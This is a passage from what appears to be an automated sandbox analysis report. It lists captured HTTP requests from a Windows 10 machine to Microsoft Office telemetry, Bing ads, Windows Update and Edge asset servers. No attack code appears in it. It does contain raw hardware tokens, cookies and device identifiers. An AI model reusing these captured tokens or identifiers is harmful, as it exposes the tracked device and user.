t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p=Cache-Control: no-cacheMS-CV: 6wxuFIv5xEGgLuYt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399227832_1H50M59UCFXT0F6VT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239399227833_1SK6KZ1GIEW3FPGRG&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T101425Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=f266f4e9f3514464b655992de44a5f5c&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=603596&metered=false&nettype=ethernet&npid=sc-338387&oemName=ydtcub%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=ydtcub20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=603596&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=531174684,531174684,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAUrcI4V7J+7x3Dx6p5/vW5Szm8WopEaQNehptp02OIzD0IC7D3e2+wXq6yvFa5Qq4mGQ77MqkmBq/MipuHZuA4if2KbgXvGMyPbAWGnW8Nisw+QCJc0IRf8cnbIvDaBXYshMmR0nijw3RoCP/+qAKKHAQllcL4vOrEc85xyV8KuwtkQWA5dbvtuoc36DyAG5QJt/XqhON5QlO57jUrU6y2oJg+0vYvi4e6+xNxrr/JrLOJtqAuwB+D+r5LwcAslaMovS/GFQp9HNcNU0iSK2mtM09nWAi4NiFI8p9WR8sTpHmBr8F+UExd2E0PxdDa5LSEx6UiB3hrT4jtNrIcadq5oQZgAAEKkSpT9aWgfhvqnF1BWQ9VWwAeQK9f5+3AMy/FZblC2U7SFNGB0+zFfJaOGUEYsa685onfY84z/26ZhruwPzBXuEuEb9IoQYBUEgfcwDEnXaORKjUeqlFyvdu/CLbdNsKtr+Kdx/zbJ8Zr57djpvQLwByu1lisJgo8F1Bz3jdyjX6UvhxIrnU4VpclIkjxUvKmXUfEzaW2RuRKZrNI4FG4+d321m2ljvBh4DeHvxAfRNbE0eUpJ9QYH9weckXF5qJdcwR7qMv37njMTTZXtaMy555de3G79VBSyFnza5Bti5YUWX1mQa39LCzxJQ+s8H5EK3eR++G0wbzgtC26AzlGsM7ItfRDf8KDaDgOmr2jaQbqtYuM0ut4JJI3vAaOQk0Xnky/+S86IY8XcRuesZER1VNGVAa6C6KgGqOiwOJSmSFiU/Mgh9EK24yg0NQ3NbA+iFYzo0pv0Jf2kWas4y4sAsMFoaCWtpqS0mhR4wyEobuT1If4unxXZyfLFQhybF95RHUsfFA9snqdDz5XauMnYhDZkp9zwKyH1UQYASlg/0WnQsz14cTjG5vsDCF0GqIcjB+3ES4DlaDFJHMkXMBUqq99cB&p=Cache-Control: no-cacheMS-CV: 6wxuFIv5xEGgLuYt.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=masWAPUYS1lBOtl&MD=sb3UeoWw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2560C4E62DCB672207BDD1A22CE26611; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418552_1AAPCBWXWYRQF23F9&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418551_1MWHJRW59UCHVWKN4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360433542_1UJC4903W7XNIUU73&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432410_1ZT9L3WG863INPZDE&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360433543_1F4HJPO10Z3VYH0SK&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1Host: business.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=2560C4E62DCB672207BDD1A22CE26611; MSPTC=mr-A-UZGRUKPTZKrE48WKOqXUtmslCNcT-kMucGsW6E; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360432411_13QPWJ00JGY7I4CI1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
